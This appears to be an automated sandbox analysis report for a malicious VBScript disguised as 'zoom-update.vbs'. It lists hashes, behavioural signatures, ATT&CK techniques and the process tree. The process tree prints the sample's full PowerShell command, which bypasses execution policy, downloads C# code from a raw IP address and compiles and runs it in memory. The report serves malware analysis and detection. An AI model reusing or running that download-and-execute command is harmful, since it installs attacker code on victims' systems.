9161a8f7f07741db06b9f9a87b6ec7f277faf2ae3a3a661d6eb09cec4e12b920

Analysis

max time kernel
38s
max time network
40s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
02/07/2026, 10:24

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General

Target
zoom-update.vbs
Size 4KB
Sample260702-mfeheaev2k
SHA256 9161a8f7f07741db06b9f9a87b6ec7f277faf2ae3a3a661d6eb09cec4e12b920
MD5 86db42b1595d14e0f5bd9816e42423cc
SHA1 19e06d1bf248d1b1ad0d4a1fca8b4dde4733ca43
SHA512 deba38a8ecff6a8cbfffa9cc23324efcc785430f2de13594b72fc21468dbf6528b56b726f7698999be68f89c55f026a8d4bffc4da22c9b564b863a99310fb1d7
SSDEEP 96:yAFe+ZHVRsgw4Q+VUAFzNj5/08gu8mb8Z:4gXQQUArtt1YZ
TLSH
T10E8107102925A378E53F4792267FE87EED711B3739531D44328CC9080FB2B98D2CA6B6
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	4088	powershell.exe
6	4088	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
4088	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4088	powershell.exe
4088	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4088	powershell.exe

Suspicious use of WriteProcessMemory 1 IoCs

description	pid	Process	procid_target
PID 1548 wrote to memory of 4088	1548	WScript.exe	86

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\zoom-update.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1548
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command New-Item -ItemType Directory -Path 'C:\Windows\Temp' -Force | Out-Null; Invoke-WebRequest -Uri 'http://207.189.11.170/Bin/working_payload.cs' -OutFile 'C:\Windows\Temp\FileR.txt' -UseBasicParsing; Start-Sleep -Seconds 3; if (Test-Path 'C:\Windows\Temp\FileR.txt') { $content = Get-Content 'C:\Windows\Temp\FileR.txt' -Raw; try { Add-Type -ReferencedAssemblies 'Microsoft.CSharp' -TypeDefinition $content -Language CSharp -ErrorAction Stop; [HelloWorld.Program]::SayHello() } catch { } }
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4088

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_ocwcfu15.fkj.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ocwcfu15.fkj.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4088-1-0x000001C7E4750000-0x000001C7E4760000-memory.dmp

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memory/4088-0-0x000001C7E4750000-0x000001C7E4760000-memory.dmp

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memory/4088-9-0x000001C7E68D0000-0x000001C7E68F2000-memory.dmp

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memory/4088-10-0x000001C7E4750000-0x000001C7E4760000-memory.dmp

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memory/4088-11-0x000001C7E4750000-0x000001C7E4760000-memory.dmp

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memory/4088-12-0x000001C7E4750000-0x000001C7E4760000-memory.dmp

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